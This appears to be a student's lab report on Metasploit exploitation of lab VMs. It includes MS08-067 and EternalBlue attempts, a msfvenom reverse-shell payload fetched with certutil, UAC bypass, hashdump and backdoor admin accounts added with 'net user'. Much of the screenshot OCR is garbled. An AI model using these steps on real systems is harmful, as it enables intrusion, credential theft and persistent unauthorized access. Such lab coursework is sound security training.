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Task A

Used the “nmap” command to run a check through attacker kali ensuring that port 445
was open.

Step 2:

Used the command “msfconsole” to open up the Metasploit function which I then executed
the command “search ms08_067_netapi” to confirm the exploit module was there.

Step 3:
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El Attacker Kali - External Workstation en CY301-JWHIT216 - Virtual Machine Connection
File Action Media View Help
V@O nn[fs B4

root@kali: ~

File Actions Edit View Help

ing Modul

with a

set LPORT
set RHOST 192.168.10.14

I executed the command “use exploit/windows/smb/ms08 067 netapi” to check if the
exploit module had set parameters, as such it did not thus, I set the parameters given to me.

Step 4:

8 Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Connection
File Action Media View Help
DO O | nn» D By

root@kal
File Actions Edit View Help

VMshare Interact with a module by name or index. For example

> use exploit/windows/smb/ms@8_067_netapi

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > set PAYLOAD windows/meterpreter/r
everse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.217.3
LHOST = 192.168.217.3
msf6 exploit( ) > set LPORT 5525
LPORT = 5525
msf6 exploit( set RHOST 192.168.10.14
RHOST = 192.168.10.14
msf6 exploit( > exploit

File System

Started reverse TCP handler on 192.168.217.3:5525
.168.10.14:445 — Automatically detecting the tar
.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Engli

.10.14:445 Selected Target: Windows XP SP3 lish (AlwaysOn NX)
.10.14:445 - Attempting to trigger the vulnerability .

stage (176198 bytes) to 192.168.217.2

ter session 1 opened (192.168.217.3 2 > 8.217.2:35509)
1 21:16:08 -0400

meterpreter > |

I executed the commend “exploit” to start the exploit module against windows XP.

Step 5-9:
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&3 Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Connection

File Action Media View Help
D @O | n | Ry 5|8

SN emm P D]

root@kali: ~
File Actions Edit View Help

VMshare .168.10.14:445 — Fingerprint: Windows XP - Service Pack 3 - lang:Engli
sh
92.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
92.168.10.14:445 — Attempting to trigger the vulnerability ...
(176198 bytes) to 192.168.217
eterpreter session 1 opened (192.168.217.3 > 2 .217.2:35509)
at 2025-07-21 21:16:08 -0400

meterpreter > screenshot
Screenshot saved to: /root/EuGVltsf.jpeg
meterpreter > gettimeofday

Unknown command: gettimeofday
meterpreter
Server usern AUTHORITY\SYSTEM
meterpreter
Current pid:
meterpreter > sysinfo
Computer : ORG-JLF9IQGWXFM

File System

os : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture x86

System Langu en_us

Domain

Logged On Users

Meterpreter

meterpreter > loc

Local Date/Time: 2

meterpreter >

In the above screenshot I executed the commands; screenshot, getuid, getpid, sysinfo, and
localtime. The command screenshot takes a screenshot of the exploit if it was successful.
For the getuid command it tells me the server name. For getpid command it tells me the
current pid which is the current process ID. The command sysinfo tells me the system that
was exploited information. Lastly the command localtime tells me the date and time when
it occurred.

Task B
Step 1-11:

Like in the previous task I used the Metasploit program by the command “msfconsole” and
tried to repeat the same steps trying to exploit the eternalblue module within Windows
2022 server instead of Windows XP. This was done by setting a payload, the host of the
payload, the port it was going through, and the receiving host. The results showed that the
exploit was trying and made some connection but was unable to reverse the tcp connection
since it was not vulnerable thus failing as a result.

Task C
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Step 1:

EP Attacker Kali - External Workstation on CY301-WHIT216 - Virtual Machine Connection
File Action Media View Help
@O nw|fd

- roct@kalis ~

File Actions Edit View Help
VMshare

The command “msfvenom....” generated a meterpreter payload named my MIDAS ID that
connects back to the kali machine being a reverse shell

Step 2:

£ Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Cennection
File  Action Media View Help
D@0 nmw (i 5 B

B emm P ]|

root @kali: ~
File Actions Edit View Help

3 LPORT=
html/

. E
sel e o Msf q indows from th

I used the command “sudo service apache2 start” starting the program apache to allow
windows 7 to download the payload I created through Http.

Step 3:
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I used the command “certutil” and “urlcache” through the apache2 program to download
the payload onto the Windows 7 VM. In addition, I used the command “dir jwhit216.exe”
to locate the payload and ensure it was successfully downloaded.

Step 4:

l:—‘ Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Connection
File Action Media View Help
@O | unwnfd By

LR

root@kali: ~

File Actions Edit View Help

=

VMshare

auxiliary - 422 post
encoders - 11 nops

File System

cs.metasploit.com/

ows/meterpreter/revers_tcp

> set LPORT 5525

By using the command “msfconsole” lauching the Metasploit program I used the command
“use exploit/mulit/handler” to set a name for the exploit and set the payload, host of the
payload, and the port in which it will process through.

Step 5:
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Step 6:
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£ Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Connection

File Action Media View Help
D@0 | n»|fy O e

E root@kali: ~

File Actions Edit View Help

C:\Users\Window 7\Downloads>exit
exit

meterpreter > background
Backgrounding session 1...
msf6 exploit( ) > sessions

Active sessions

Type Information Connection
meterpreter x86/win WINDOWS7\Window 7 @ 192.168

dows WINDOWS7 > 192.168.217.2:
7 (192.168.10.9)

msf6 exploit( ) > use 5
Using configured payload windows/meterpreter/reverse_tcp

msf6 exploit( ) > show options
Module options (exploit/windows/local/bypassuac):

Name Current Setting Required Description

SESSION yes The session to run this module on

TECHNIQUE EXE yes Technique to use if UAC is turned
off (Accepted: PSH, EXE)

&3 Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Connection

File Action Media View Help
DO nw|fd B

root@kali: ~

File Actions Edit View Help

Exploit target:

Id Name

®@ Windows x86

View the full module info with the fo, or fo -d command.

msf6 exploit( ) > set session 1
session = 1
msf6 exploit( ) > show options

Module options (exploit/windows/local/bypassuac):

Name Current Setting Required Descripti

SESSION 1 yes The session to run this module on
TECHNIQUE EXE yes Technique to use if UAC is turned
off (Accepted: PSH, EXE)
Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
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Actions Edit View Help File Actions Edit View H

le Actions Edit View

/var/ v /htal
e Ayt

Juhit216, txt

jwhit216. txt

Jwhit216.txt 01268716, txt

v File Actions Edit View Help e R e
ns Edit View Help

ump

( V ; el passwordhl
net user fadd bill pa
The command completed successfully.

z jstem3i2>net user
net user fadd jwhit2l16 appled
The command completed successfully.

jstem32>net localer administrators jwhit21le /add

¥
roup administrators jwhit2le /fadd
command completed successfully.
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B3 Attacker Kali - External Workstation on CY301-JWHIT216 - Virtual Machine Connection
File Action Media View Help
D@0 | uw(fo Bg

root@kali: ~
File Actions Edit View Help

Certificate fingerprints:

£761d17f38

rberos TGT initialized ?
NOT trusted by this system
st this specific certificate.

Connection es
disconnect

is NOT trusted by this system
st this specific certificate.
v rberos TGT initialized ?
from se is NOT trusted by this system
the user to trust this specific certificate.

gon(), Unhandled login infotype 1
ip_| electionNotify(), unable to find a textual ta
rget to satisfy RDP clipboard text request

Including the step 4 of Task C I completed the hashdump command after putting the
session into background through meterpreter. This was done by entering “background”
keeping the session Id in this case being “ 1 “, then by entering “search uac” helped my
locate the exploit needed to upgrade my priviliages to admin being
“exploit/local/bypassuac”. After which I entered the command “set session 1” to confirm
the session that will be given admin which I backgrounded. Then enter exploit

By using the commands “net user /add” I was able to add two new users one I name my
midas ID the other a test for myself. Then I executed the command “rdesktop -u name -p
password Target IP” to gain remote persistent access to windows .



